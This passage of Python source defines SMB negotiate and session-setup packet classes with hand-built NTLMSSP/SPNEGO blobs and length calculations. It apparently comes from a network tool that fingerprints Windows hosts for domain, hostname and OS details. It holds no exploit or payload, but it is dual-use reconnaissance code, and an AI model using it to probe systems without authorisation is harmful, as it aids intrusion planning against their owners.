fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\xec\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"),
("ApplicationHeaderTag","\x60"),
("ApplicationHeaderLen","\x48"),
("AsnSecMechType","\x06"),
("AsnSecMechLen","\x06"),
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
("ChoosedTag","\xa0"),
("ChoosedTagStrLen","\x3e"),
("NegTokenInitSeqHeadTag","\x30"),
("NegTokenInitSeqHeadLen","\x3c"),
("NegTokenInitSeqHeadTag1","\xA0"),
("NegTokenInitSeqHeadLen1","\x0e"),
("NegTokenInitSeqNLMPTag","\x30"),
("NegTokenInitSeqNLMPLen","\x0c"),
("NegTokenInitSeqNLMPTag1","\x06"),
("NegTokenInitSeqNLMPTag1Len","\x0a"),
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenInitSeqNLMPTag2","\xa2"),
("NegTokenInitSeqNLMPTag2Len","\x2a"),
("NegTokenInitSeqNLMPTag2Octet","\x04"),
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
("NegTokenInitSeqMechSignature","\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"),
("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"),
("NegTokenInitSeqMechMessageDomainNameLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameMaxLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameBuffOffset","\x00\x00\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameLen","\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameMaxLen","\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameBuffOffset","\x00\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x01"),
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le')),
("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1".encode('utf-16le')),
("nativelanterminator","\x00\x00\x00\x00"),
])
def calculate(self):
data1 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data2 = str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data7 = str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data9 = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
## Packet len
self.fields["andxoffset"] = struct.pack("<H", len(data9)+32)
##Buff Len
self.fields["securitybloblength"] = struct.pack("<H", len(data1))
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<H", len(data5))
##App Header
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(data2))
##Asn Field 1
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(data7))
#########################################################################################################
class SMBSession2(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00"),
("andxoffset", "\xfa\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x59\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xbf\x00"),
("ApplicationHeaderTag","\xa1"),
("ApplicationHeaderLen","\x57"),
("AsnSecMechType","\x30"),
("AsnSecMechLen","\x55"),
("ChoosedTag","\xa2"),
("ChoosedTagLen","\x53"),
("ChoosedTag1","\x04"),
("ChoosedTag1StrLen","\x51"),
("NLMPAuthMsgSignature", "\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
("NLMPAuthMsgMessageType","\x03\x00\x00\x00"),
("NLMPAuthMsgLMChallengeLen","\x01\x00"),
("NLMPAuthMsgLMChallengeMaxLen","\x01\x00"),
("NLMPAuthMsgLMChallengeBuffOffset","\x50\x00\x00\x00"),
("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseBuffOffset","\x51\x00\x00\x00"),
("NLMPAuthMsgNtDomainNameLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtUserNameLen","\x00\x00"),
("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtUserNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtWorkstationLen","\x08\x00"),
("NLMPAuthMsgNtWorkstationMaxLen","\x08\x00"),
("NLMPAuthMsgNtWorkstationBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageLen","\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageMaxLen","\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageBuffOffset","\x55\x00\x00\x00"),
("NLMPAuthMsgNtNegotiateFlags","\x05\x8A\x88\xa2"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x01"),
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NLMPAuthMsgNtDomainName",""),
("NLMPAuthMsgNtUserName",""),
("NLMPAuthMsgNtWorkstationName",""),
("NLMPAuthLMChallengeStr", "\x00"),
("NLMPAuthMsgNTLMV1ChallengeResponseStruct",""),
("NLMPAuthMsgNTerminator",""),
("nativeOs","Windows 2002 Service Pack 3 2600"),
("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1"),
("nativelanterminator","\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le')
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le')
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le')
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le')
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le')
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
SecurityBlobLen2 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
